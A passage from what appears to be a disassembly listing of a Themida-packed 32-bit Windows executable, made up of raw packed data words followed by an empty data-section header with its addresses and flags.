		dd 0D2810000h, 67227CB9h, 14E9h, 0D51D5800h, 0C12CECAFh
		dd 49381060h, 963092F6h, 0EEFFAEE0h, 0D78B66FBh, 3FCA8166h
		dd 68D0F9Ah, 81000000h,	237B2DE1h, 0C0B86625h, 0AE9F3h
		dd 0B06C0000h, 0D7363A92h, 0A762ADB7h, 0BECBBF0Fh, 4C84E0AFh
		dd 0BEDE8166h, 7E9F7h, 5ECB0000h, 4B5BDAB7h, 0F18166D0h
		dd 0F60AAFBh, 38Fh, 0C0B70F00h,	2800Fh,	5F510000h, 0DB816661h
		dd 0BE84B8Ah, 0FD000000h, 68B15A5Ah, 39DDBAA5h,	0BE951DBh
		dd 52000000h, 2C1D19h, 669D98FEh, 0F5A3CC6h, 280h, 0F8DA8B00h
		dd 0C417B966h, 0DE9h, 82A9B900h, 0E55012FFh, 0D4D2F5FAh
		dd 890FCA5Eh, 2, 0F533CB0h, 605AD3BFh, 11E8h, 0CD7D3D00h
		dd 0FDFC786Ch, 50184D88h, 0F6DB88ABh, 11E95C0Ch, 0E8000000h
		dd 416102F9h, 7B4BB4B2h, 0AB3B3636h, 0BFB80495h, 0D0816659h
		dd 81613964h, 5A4A08EFh, 60E68A6Bh, 0AE9h, 9F9BB700h, 108B9368h
		dd 0B087F4FDh, 870F6189h, 3, 0B6D3C580h, 3880F71h, 0F000000h
		dd 14E8D3BFh, 9000000h,	0B648486Ah, 0AF8478E4h,	857797A5h
		dd 0F4EFD92h, 0F94028Ah, 0E95BDFB7h, 7,	0AE4B59F1h, 6681D230h
		dd 0DF8BF88Bh, 0DABA66FCh, 5000B58Ch, 59AEB866h, 820F5Eh
		dd 0B8000000h, 40624AB9h, 80C18B66h, 0DE8A0E2h,	2C000000h
		dd 3CAD011Dh, 4A55610Eh, 0FAB7FE59h, 0F2BF0F59h, 0CE9h
		dd 25420400h, 8BAF8A9Ah, 33E7B81Ch, 0D8B70F16h,	7F466EBFh
		dd 81C18B03h, 0E6C14AF7h, 0CE90Dh, 0FB0A0000h, 555F6D05h
		dd 2A3DA358h, 0FA8B63CDh, 680ABA66h, 70BE66F5h,	0C1816605h
		dd 5DB0286Fh, 0DCCBE781h, 810F32B9h, 2,	1FB9C38Bh, 0F194E02h
		dd 0B960DFBFh, 488612D5h, 9F1DA81h, 5661016Ah, 0BC24BF66h
		dd 82EF8158h, 0F14DEADh, 88Ah, 2890F00h, 60000000h, 0CE961h
		dd 7A1D0000h, 8B0AB70Eh, 1A7B5E9h, 0E081E217h, 1D366C76h
		dd 0FF2D65BFh, 0C38B6644h, 4B52F181h, 11E86D59h, 1A000000h
		dd 0A221F6Ch, 17B7F108h, 41C16F48h, 18C82192h, 60F08B60h
		dd 0E85A6161h, 7, 492A26Eh, 0E9C9784Fh,	0Dh, 0D3D5E9EBh
		dd 16D9901Eh, 8E5E70F9h, 0E9605AC1h, 5,	1BE602Fh, 0E78161C8h
		dd 32B36305h, 14E9h, 20AA0900h,	0DE222BB8h, 3836B51Eh
		dd 3F2CC23Fh, 553E8DD6h, 0E78060B1h, 0DE802h, 0EDA80000h
		dd 65687135h, 0EB58CD91h, 5136B3F9h, 66615A5Fh,	850FFA8Bh
		dd 5, 0E9F18166h, 65B9668Eh, 0F28B66ECh, 92F08166h, 96B966E9h
		dd 8F0F52E7h, 2, 665AD38Bh, 0C280C78Bh,	13E8606Eh, 26000000h
		dd 0F81297AAh, 65139864h, 0BCF6CBEAh, 0C76F1EF8h, 59F5DF0Ch
		dd 0FEBF0F61h, 0FDAB70Fh, 0AE8D0BFh, 0EA000000h, 0C4EA742Bh
		dd 82A9B9A8h, 0F5515EFFh, 7C38159h, 0BB48553Fh,	7EDDF204h
		dd 0EE8h, 3B1CFC00h, 475D5329h,	2DAF3C5Ch, 66BB7AD8h, 2E11D781h
		dd 284DB858h, 0C38B4651h, 14E9h, 1905DF00h, 0B68672Eh
		dd 0F6AA4FC6h, 0EEEC51BDh, 7B2BAFAAh, 40BE66D6h, 0C8A0FD9h
		dd 0F000000h, 68Ch, 810F00h, 8B000000h,	158CB8F7h, 0B70F1421h
		dd 4890FF9h, 50000000h,	815A6160h, 7B0F91E6h, 810F5120h
		dd 6, 850Fh, 605A0000h,	8ACDF580h, 0BF6661FDh, 8A0FDD47h
		dd 5, 0BECA8166h, 617FBFB6h, 8B661FA9h,	1C8E0FC2h, 0E8000000h
		dd 14h,	46D7CF0Bh, 43BE92ACh, 0C2C37BA6h, 0FD764888h, 5217714Ah
		dd 0E85E6160h, 0Ah, 0A7B39804h,	0E01BD07Fh, 0AE9EBBDh
		dd 0F8000000h, 0A8E169E1h, 267497ECh, 9E95960h,	0DB000000h
		dd 6CF4E4E2h, 0E0B90171h, 14E8h, 8C34900h, 0B654AC30h
		dd 0B06DFC88h, 270F81CDh, 417F9EAAh, 0C18166A0h, 0F5ABEDDh
		dd 38Fh, 0DF8B6600h, 0C88B66F9h, 13E8h,	0D2925800h, 1AEFE4BBh
		dd 7F1C609Dh, 0C9F0B87Fh, 0BF15DF0Fh, 5A616057h, 6EEDB859h
		dd 0F98B7DBFh, 0FE8h, 0DE86C000h, 295D959Ah, 0D95F817Dh
		dd 0F17428EBh, 6870Fh, 810F0000h, 0
		dd 0F0BF0F5Ah, 60F28B66h, 11E9h, 0E5821F00h, 0FD5C9614h
		dd 6682A628h, 0D987C1BDh, 61F8AB43h, 860F09B5h,	0
		dd 0B09CE380h, 0D0B70FA9h, 13E960h, 0BB20000h, 9722FA60h
		dd 5E928C5Ah, 0CC7649B8h, 0C82AF691h, 0B70F60DBh, 12E9D3h
		dd 6F970000h, 9556F446h, 6A37F501h, 7CCC7356h, 76595286h
		dd 800F6161h, 3, 0FC6B70Fh, 8B66FFB7h, 5820FF0h, 66000000h
		dd 0C7EAE681h, 0FD8B70Fh, 88Ch,	2820F00h, 52000000h, 20870F5Fh
		dd 0E8000000h, 14h, 9AD9BC0Dh, 0BC830416h, 0D99C61F7h
		dd 84A42B3Ah, 5A9D641Bh, 880Fh,	525F0000h, 5ECA8B66h, 5E9h
		dd 2C2BE200h, 8B665FF6h, 0C1BF0FF3h, 87F38166h,	7AF781CAh
		dd 6657C3ACh, 50705ABBh, 58C18B66h, 0C169BF66h,	0A4C3B866h
		dd 0D28166FCh, 0C3B2977Fh, 0DDD78166h, 6095B2CFh, 0B2C9B70Fh
		dd 14E9610Eh, 0FF000000h, 448706B9h, 0CE52AC5h,	0B5BF8375h
		dd 0C94E19Dh, 66E3477Ah, 60EDB7BFh, 6D08166h, 6170B2D5h
		dd 5D0761BFh, 7E977h, 0EDB80000h, 4846F05h, 0FF78B49h
		dd 586h, 0C9816600h, 8F0F4A91h,	7, 0C6816650h, 8B5B7B24h
		dd 66F48AF8h, 6280DF81h, 0B210BF66h, 9820Fh, 820F0000h
		dd 3, 60CBBF0Fh, 26C98166h, 0EE9602Eh, 85000000h, 0EBF7F614h
		dd 0B9D7381Eh, 25150DEEh, 0E4E18153h, 6162952Bh, 0D1B70F61h
		dd 6840Fh, 0E0810000h, 4EFE52FCh, 81F6B70Fh, 7113DF2h
		dd 7FE78142h, 0E83E99C4h, 9, 518137E2h,	810B1948h, 5BF557DDh
		dd 0FB8B665Bh, 0AB64B866h, 0EE9h, 0A360AA00h, 47F07685h
		dd 0B1417EB9h, 0B9D339A5h, 3D9E609h, 6E8h, 0CCAFB500h
		dd 0E87B8EF8h, 8, 97A0CDE9h, 76EA3EC8h,	59C1BF0Fh, 2FC0B95Bh
		dd 0FF863A7h, 0BF0FD9B7h, 0EC0CBAC8h, 11E90356h, 0B1000000h
		dd 3472FE9Ah, 8B6C26F8h, 0D694039Bh, 35FB5A44h,	0BFFE8B66h
		dd 4D942A10h, 0F05FF281h, 8E82387h, 94000000h, 1317C8B6h
		dd 0BEBFA89Ah, 59C63A5Fh, 0BE606059h, 7969AD56h, 6154C580h
		dd 61C8C580h, 0B7BE66F5h, 0FFBF0F4Eh, 1880Fh, 0FF50000h
		dd 689h, 810F00h, 0F000000h, 9E8D1BFh, 97000000h, 70EE92FCh
		dd 0BB07BBDh, 0E85AFB8Bh, 0Fh, 0E02E8848h, 1DB1A956h, 7B5E67F4h
		dd 0E9EF4A5Bh, 10h, 9EA435DEh, 662C3B31h, 0C3D2537h, 55A1672Dh
		dd 5ABA665Eh, 0C78B661Ch, 118E0Fh, 0CE90000h, 94000000h
		dd 0AA17998Ah, 0AEFD322Eh, 0FCAF0472h, 5B525060h, 6661F85Fh
		dd 0D372CB81h, 0EE9h, 0F9ABBF00h, 8C9AAFF3h, 33A7F752h
		dd 0E8338A56h, 10h, 489FBB0Bh, 0D6305267h, 0B1E86448h
		dd 4DD3F28Eh, 810Fh, 0F5B0000h,	685h, 0B3E88100h, 8A5C195Fh
		dd 0CA8B66D9h, 5A526060h, 0CE8h, 0F8D66000h, 0ADE73268h
		dd 0BD41592h, 61615FF2h, 0CE81C38Bh, 643CFD04h,	0FE9h
		dd 59A6C100h, 7DE0DB62h, 2EC73172h, 0E6C08A45h,	0E772B866h
		dd 0AE9h, 0D1066B00h, 4C20BEF1h, 60D4F249h, 0EE9h, 67661C00h
		dd 0D6868890h, 96FFE6D6h, 50E7E0E5h, 0BD7ABE66h, 14E86159h
		dd 56000000h, 0D593F24Eh, 0DDE311C5h, 0A9AFD8A8h, 0F5B9DCE8h
		dd 81D8FBDFh, 1A7CB7DBh, 8B66596Ah, 0D3F681D6h,	0F650720h
		dd 684h, 96CB8100h, 0BA3F3D4Eh,	4DF3D7CDh, 0B2D6BF0Fh
		dd 0FE8C6h, 0B3CD0000h,	0B03B65CAh, 2F2D74Bh, 5FEAB1ECh
		dd 0C88B6608h, 15820F58h, 0E9000000h, 10h, 0F18BF256h
		dd 7184CA50h, 0FBC93409h, 930BC392h, 10E9h, 0B28C7A00h
		dd 5F363211h, 70B4A164h, 0C70F21C3h, 4810FECh, 66000000h
		dd 0E968E6BFh, 14h, 26CDBF0Bh, 146E4CEFh, 20829081h, 87471E20h
		dd 0D9C54D0Fh, 68C0F60h, 0F000000h, 86h, 13E96100h, 84000000h
		dd 85E1BCF5h, 2CF424DCh, 1C18B909h, 0E5EF077h, 0B70FD193h
		dd 2ABA66F7h, 75EE8138h, 6057312Bh, 59C08166h, 0CFB70FDAh
		dd 4BBB6661h, 0EB8166D9h, 6E935D1h, 0F4000000h,	60AE3B4Bh
		dd 7E807h, 0FBDC0000h, 9550627h, 14E930h, 0F1450000h, 74BD6BCAh
		dd 0C8E845B4h, 8692A4E9h, 25646318h, 0F5BDC4Ch,	382h, 71C28000h
		dd 38D0Fh, 0B70F0000h, 0D1C881CBh, 665D0EB5h, 0C926F381h
		dd 0AE9h, 7C35A600h, 47ADDAD9h,	0FBEBA6Ch, 38Ah, 0D18B6600h
		dd 13E9h, 0A099BD00h, 7A4D62E3h, 4068A6DEh, 8AE70942h
		dd 47214B6Ah, 8A7F3FBAh, 66C5B77Dh, 0F98AC18Bh,	13800Fh
		dd 0EE90000h, 0F0000000h, 52AE580h, 0B34B6CE6h,	5EB25388h
		dd 11E9D8h, 0BB1E0000h,	84172320h, 1BD5E16Ch, 7DCF91B7h
		dd 574124D7h, 0ABC08166h, 800F598Eh, 0Bh, 5870Fh, 5BF0000h
		dd 0E944772Fh, 0Fh, 9C5AC7ADh, 9029E668h, 34FA1ABAh, 0FFF1CE0h
		dd 8160C1B7h, 0EE2B13EEh, 0BE822h, 2E1A0000h, 8B64F9E2h
		dd 0BABB48B3h, 5E893h, 206E0000h, 5FE5475Ch, 0BE66615Fh
		dd 0EE84E85h, 1000000h,	21359D21h, 1E105689h, 0C151AB7h
		dd 61606085h, 5961F18Ah, 6E8h, 0F0011600h, 0E94A0078h
		dd 14h,	71688D30h, 86BB725h, 3683F648h,	0B2EF5AEh, 6EE9F2DCh
		dd 0AEBE665Eh, 7E9A3h, 9C90000h, 4A89AD7Ch, 0D0B70F45h
		dd 0B2FAB160h, 850F61BAh, 0
		dd 0DE9h, 39EAE300h, 3837A3CAh,	34860686h, 820F492Ch, 2Eh
		dd 10E860h, 0E2D70000h,	0A3E26888h, 0D744890Fh,	0B88E57E5h
		dd 0E959DB19h, 11h, 0DE26BAC4h,	0D27E58BAh, 0D374322Fh
		dd 98FA768Fh, 91B561D9h, 0AE95760h, 40000000h, 0EA9F4D99h
		dd 2A9569DDh, 60615ED5h, 9A1BCABEh, 0C281665Fh,	6661058Ch
		dd 0BF95CB81h, 5E5289B4h, 0B0DA8BF8h, 58D0FFDh,	66000000h
		dd 89CCD681h, 830Fh, 81660000h,	0E90E9FD8h, 10h, 0FF4FC1B5h
		dd 0D984F299h, 0E723F0D2h, 0DDEC6EB4h, 0DF8B6660h, 5E52F560h
		dd 6E96161h, 45000000h,	0F6EE8013h, 0CA8B66D9h,	10E857h
		dd 0ABFA0000h, 0BA24FAAAh, 25857086h, 2F926F83h, 0DA819B72h
		dd 72BE9524h, 0C7805858h, 0BD8B945h, 81660925h,	81E6E0E1h
		dd 8EBE70E6h, 55C07904h, 0D1h dup(55C078D7h), 0D7381DD7h
		dd 51Ah	dup(0D7381E35h), 83FF1E35h, 12h	dup(83FF1E50h)
		dd 52AD1E50h, 127h dup(52ADDE0Ch), 0A5CDE0Ch, 151h dup(0A5C83AEh)
		dd 1C2583AEh, 244h dup(1C25F974h), 941h	dup(0CCCCCCCCh)
		dd 0CCh, 100h dup(0)
Themida_	ends

; Section 5. (virtual address 001C1000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001C1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5C1000h
		align 2000h
_idata2		ends


		end start